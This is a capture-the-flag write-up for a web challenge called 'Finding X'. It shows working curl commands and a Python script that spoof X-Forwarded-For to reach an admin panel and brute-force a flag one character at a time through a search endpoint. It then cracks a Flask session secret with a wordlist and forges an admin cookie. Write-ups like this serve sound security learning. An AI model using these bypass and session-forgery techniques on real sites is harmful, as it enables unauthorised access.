Introduction

The website presents a web interface with several tabs: Home, About Us, Features, and Admin Panel. For the challenge, we have access to an XML file called data.xml containing the following information:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<company>
    <department id="1" name="Confidential">
        <employee>
            <name>Confidential</name>
            <id>EMP007</id>
            <details>
                <position>Confidential</position>
                <selfDestructCode>p_ctf{fake_flag}</selfDestructCode>
            </details>
        </employee>
    </department>
</company>

Access to the different tabs is allowed but does not contain useful information or input fields. However, accessing /admin returns a 403 error.

alt text

Context Explanation

To start the challenge, we don’t have much information, but we have an admin panel that denies us entry. We quickly realize that we need to find a way to access this panel to obtain the flag.

Note: The flag is split into two parts, which we will obtain at different stages of the exploitation.

Directive

We are a software company providing intelligent solutions. We have received several awards for being the best forwarding company locally. Can you find the missing part to complete this challenge?


Solution

Accessing the Admin Panel

After several attempts to access the admin panel, we succeeded by using the X-Forwarded-For header with the value 127.0.0.1 to simulate a request coming from the local address (hence the challenge name, Finding X).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
curl https://findingx.ctf.prgy.in/admin -I
HTTP/2 403
server: gunicorn
date: Sun, 09 Feb 2025 15:27:00 GMT
content-type: text/html; charset=utf-8
content-length: 1442

curl -H "X-Forwarded-For: 127.0.0.1" https://findingx.ctf.prgy.in/admin -I
HTTP/2 200
server: gunicorn
date: Sun, 09 Feb 2025 15:27:05 GMT
content-type: text/html; charset=utf-8
content-length: 4995

Now we access the admin page, but no flag is found.

alt text

Search Functionality

The search functionality allows us to search for employees. We can try to search for an employee using the information in the XML file, but we always get the error message “Employee doesn’t exist.”

alt text

The search calls an API at the URL /api/search:

1
2
curl -d '{"search": "EMP007"}' -H 'Content-Type: application/json' https://findingx.ctf.prgy.in/api/search
{"message":"Employee doesn't exist."}

By experimenting with the search functionality, we notice that when we search for p, we get a different response:

1
2
curl -d '{"search": "p"}' -H 'Content-Type: application/json' https://findingx.ctf.prgy.in/api/search
{"message":"Employee exists."}

We know that the flag starts with p_ctf{, so it might be a SQL start-with search. We explore this further:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
curl -d '{"search": "p_"}' -H 'Content-Type: application/json' https://findingx.ctf.prgy.in/api/search
{"message":"Employee exists."}

curl -d '{"search": "p_c"}' -H 'Content-Type: application/json' https://findingx.ctf.prgy.in/api/search
{"message":"Employee exists."}

curl -d '{"search": "p_ct"}' -H 'Content-Type: application/json' https://findingx.ctf.prgy.in/api/search
{"message":"Employee exists."}

curl -d '{"search": "p_ctf"}' -H 'Content-Type: application/json' https://findingx.ctf.prgy.in/api/search
{"message":"Employee exists."}

Retrieving the First Part of the Flag

We created a script to automate the search for the flag:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed

url = "https://findingx.ctf.prgy.in/api/search"

headers = {
    "Host": "findingx.ctf.prgy.in",
    "Content-Type": "application/json"
}

def send_request(search_term):
    data = {"search": search_term}
    response = requests.post(url, headers=headers, json=data)
    return search_term, response.text

characters = "abcdefghijklmnopqrstuvwxyz0123456789_-"

def bruteforce():
    current_search = "p_ctf{"
    while True:
        found = False
        with ThreadPoolExecutor(max_workers=10) as executor:
            futures = [executor.submit(send_request, current_search + char) for char in characters]
            for future in as_completed(futures):
                search_term, response = future.result()
                if "Employee exists." in response:
                    current_search = search_term
                    found = True
                    print(f"Current search term: {current_search}")
                    break
        if not found:
            break
    return current_search

result = bruteforce()
print(f"The complete search term is: {result}")

The output:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
python retreive_flag.py
Current search term: p_ctf{i
Current search term: p_ctf{i_
Current search term: p_ctf{i_h
Current search term: p_ctf{i_h4
Current search term: p_ctf{i_h4t
Current search term: p_ctf{i_h4t3
Current search term: p_ctf{i_h4t3_
Current search term: p_ctf{i_h4t3_b
Current search term: p_ctf{i_h4t3_br
Current search term: p_ctf{i_h4t3_br9
Current search term: p_ctf{i_h4t3_br97
Current search term: p_ctf{i_h4t3_br97f
Current search term: p_ctf{i_h4t3_br97f0
Current search term: p_ctf{i_h4t3_br97f0r
Current search term: p_ctf{i_h4t3_br97f0r6
Current search term: p_ctf{i_h4t3_br97f0r63
Current search term: p_ctf{i_h4t3_br97f0r63_
The complete search term is: p_ctf{i_h4t3_br97f0r63

We have the first part of the flag, but we still need the second part.

Flag Part 1: p_ctf{i_h4t3_br97f0r63

Flask Session

When accessing the homepage, the server assigns us a session cookie:

1
2
3
4
5
6
7
HTTP/2 200 OK
Server: gunicorn
Date: Sun, 09 Feb 2025 15:43:25 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1227
Vary: Cookie
Set-Cookie: session=eyJ1c2VybmFtZSI6Imd1ZXN0In0.Z6jNHQ.TVIJaAoIZoDsDHXfQLB3GDTEKeg; HttpOnly; Path=/

On the admin panel page, there is a mention: Current Access Level: Guest and further down: ๐Ÿ’ก Tip: Make sure you have the right permissions to access sensitive data. This suggests that our goal is to increase our role.

The assigned session is a Flask session, which once decoded gives us our username:

1
2
flask-unsign -c 'eyJ1c2VybmFtZSI6Imd1ZXN0In0.Z6jNHQ.TVIJaAoIZoDsDHXfQLB3GDTEKeg' -d
{'username': 'guest'}

We can try to brute-force the secret key with rockyou wordlist:

1
2
3
4
5
flask-unsign -c 'eyJ1c2VybmFtZSI6Imd1ZXN0In0.Z6jNHQ.TVIJaAoIZoDsDHXfQLB3GDTEKeg' --unsign --wordlist /usr/share/wordlists/rockyou.txt --no-literal-eval
[*] Session decodes to: {'username': 'guest'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 97024 attempts
b'ilovecookies'

The script found the secret key used to sign the session cookie: ilovecookies.

We can now forge a session with username = admin:

1
2
flask-unsign -c '{"username": "admin"}' --sign --secret 'ilovecookies'
eyJ1c2VybmFtZSI6ImFkbWluIn0.Z6jOVA.fDZ_2SDoOlh7csDMh_S_E88ycBA

And make a request with this session to /admin with the X-Forwarded-For header:

1
2
curl -H "X-Forwarded-For: 127.0.0.1" -H "Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.Z6jOVA.fDZ_2SDoOlh7csDMh_S_E88ycBA" https://findingx.ctf.prgy.in/admin
{"flag_part_2":"b4d_4nd_i_c4n_n0t_l13}","message":"Welcome Admin!"}

Now we have the complete flag: p_ctf{i_h4t3_br97f0r63_b4d_4nd_i_c4n_n0t_l13}


Tips & Tricks

  1. Header Manipulation: Always try manipulating headers to bypass restrictions. In this case, using the X-Forwarded-For header helped simulate a request from the local address.

  2. Automation: Automating repetitive tasks, such as bruteforcing the flag, can save time and reduce errors. Using Python’s concurrent.futures module can help with parallel execution.

  3. Session Manipulation: Understanding how sessions work, especially in frameworks like Flask, can be crucial. Tools like flask-unsign can help decode and manipulate session cookies.

  4. Brute-Forcing Secrets: Sometimes, secret keys can be brute-forced using wordlists. Tools like flask-unsign with the --wordlist option can be very effective in finding the secret key.